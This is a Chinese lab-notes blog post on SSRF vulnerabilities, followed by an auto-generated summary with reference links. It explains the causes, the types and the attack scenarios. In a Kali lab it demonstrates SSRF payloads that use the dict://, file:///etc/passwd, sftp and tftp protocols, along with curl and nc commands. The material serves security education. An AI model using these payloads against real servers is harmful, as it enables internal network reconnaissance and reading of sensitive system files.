SSRF漏洞分析与实践笔记

SSRF简介

       SSRF(Server-Side Request Forgery,服务端请求伪造),是攻击者让服务端发起构造的指定请求链接造成的漏洞。

由于存在防火墙的防护,导致攻击者无法直接入侵内网;这时攻击者可以以服务器为跳板发起一些网络请求,从而攻击内网的应用及获取内网数据。

2.    SSRF形成原因

       大都是由于服务端提供了从其它服务器获取数据的功能,比如使用户从指定的URL web应用获取图片、下载文件、读取文件内容等。但又没有对目标地址做严格过滤与限制,导致攻击者可以传入任意的地址来让后端服务器对其发送请求,并返回对该目标地址请求的数据。

       最常见的例子:攻击者传入一个未经验证的URL,后端代码直接请求这个URL,就会造成SSRF漏洞。

3.    SSRF与CSRF的区别

       CSRF是服务器端没有对用户提交的数据进行随机值校验,且对http请求包内的refer字段校验不严,导致攻击者可以利用用户的cookie信息伪造用户请求发送至服务器;

       SSRF是服务器对用户提供的可控URL过于信任,没有对攻击者提供的URL进行地址限制和足够的检测,导致攻击者可以以此为跳板攻击内网或者其它服务器。

4.    SSRF的类型

       1)显示对攻击者的响应(basic):在服务器获取攻击者要求的URL后,把响应发送回攻击者。

       2)不显示响应(blind):在服务器获取攻击者要求的URL后,不会把响应内容发送给攻击者,需要通过抓包或查看服务器日志判断是否存在服务端请求伪造漏洞。

5.    利用SSRF可以实现的攻击

       1)获取web应用可达服务器的banner信息(如软件开发商、软件名称等),以及收集内网web应用的指纹识别(如开放的端口、中间件版本等),根据这些信息再进行进一步的渗透;

       2)攻击运行在内网的系统或应用程序,获取内网系统弱口令进行内网漫游,对有漏洞的内网web应用实施攻击获取webshell(如Struts2命令执行,discuz!论坛SSRF通过Redis实施getshell等);

       3)利用有脆弱性的组件结合ftp://,file:///,gopher://,dict://等协议实施攻击(如FFmpeg任意文件读取,XXE攻击等)。

6.    拓展攻击面

       结合gopher协议攻击内网FTP、Telnet、Redis、FastCGI、Memcache,也可以进行get、post请求。



利用tcpdump测试:

      Kali机器打开一个终端,使用tcpdump抓包:#tcpdump  -nne  -i  eth0  port  6666

      -nne:不把端口和网络地址转换成名称,在输出行打印数据链路层的头部信息;

      -i:监视指定网络接口的数据包。

同时在‘有回显的SSRF’处输入:http://10.1.1.200:6666,点击‘TEST IT’后可以看到tcpdump的响应:

任务描述:通过dict协议获取服务器端口运行的服务。

1.   本地利用:kali机器中在终端输入:curl -v 'dict://127.0.0.1:80'

      curl:一种命令行工具,作用是发出网络请求,获取数据;

      curl -v:显示HTTP通信的整个过程,包括端口连接和HTTP request头信息。

2.   远程利用:在‘有回显的SSRF’处输入dict://127.0.0.1:22

3.在kali中,命令:curl -v 'http://10.1.1.100/ssrf.html?handler1=dict://127.0.0.1:80'

发现目标主机服务信息


任务描述:通过file协议访问计算机中的任意文件。

1.    本地利用:终端输入:curl -v 'file:///etc/passwd'

file协议主要用于访问计算机中的文件。

2.    远程利用:在‘有回显的SSRF’处输入:file:///var/www/html/web-1.txt


任务描述:了解sftp及tftp协议在SSRF中的作用。

1.   sftp代表SSH文件传输协议,通过sftp协议获取SSH相关信息:

       Kali机器上输入:nc -lvp 1234

       -l:监听入站信息;

       -p:设置本地主机使用的通信端口;

       -v:显示指令执行过程。

       在‘有回显的SSRF’处输入:sftp://10.1.1.200:1234,点击‘TEST IT’后查看响应信息:

2.    tftp即简单文件传输协议,允许客户端从远程主机获取文件:

       Kali机器上输入:nc -lvup 6666

       -u:使用UDP传输协议。

       在‘有回显的SSRF’处输入:tftp://10.1.1.200:6666

       点击‘TEST IT’后查看响应信息:

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
引用中提到了SSRF(Server-Side Request Forgery:服务器端请求伪造)的概述和形成原因。SSRF的形成往往是由于服务端提供了从其他服务器获取数据的功能,但没有对目标地址进行严格过滤与限制,导致攻击者可以传入任意地址来让后端服务器对其发起请求,并返回目标地址的数据。在PHP中,如果使用file_get_contents()、fsockopen()、curl_exec()等函数时使用不当,就会导致SSRF漏洞的产生。为了防止SSRF漏洞,需要对目标地址进行过滤和限制。中提到了一些攻击方式,如攻击运行在内网的系统或应用程序,获取内网系统的弱口令进行内网漫游,并对有漏洞的内网Web应用实施攻击获取Webshell。中提到了通过SSRF漏洞可以获取目标服务器的banner信息,并进一步进行扫描和探测,获取更多的内网资源,从而进行更进一步的攻击。SSRF的问题在于,前端传入的URL被后台使用curl_exec()进行请求,然后将请求的结果返回给前端。除了HTTP/HTTPS协议,curl还支持其他一些协议,如FTP、FTPS、GOPHER、TELNET、DICT、FILE以及LDAP等。<span class="em">1</span><span class="em">2</span><span class="em">3</span> #### 引用[.reference_title] - *1* [SSRF漏洞原理和实验](https://blog.csdn.net/gl620321/article/details/90737148)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v92^chatsearchT0_1"}}] [.reference_item style="max-width: 33.333333333333336%"] - *2* [SSRF漏洞分析实践笔记](https://blog.csdn.net/lm19770429/article/details/108574028)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v92^chatsearchT0_1"}}] [.reference_item style="max-width: 33.333333333333336%"] - *3* [10-3ssrf漏洞原理和案例实验演示](https://blog.csdn.net/m0_53008479/article/details/125693390)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v92^chatsearchT0_1"}}] [.reference_item style="max-width: 33.333333333333336%"] [ .reference_list ]
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值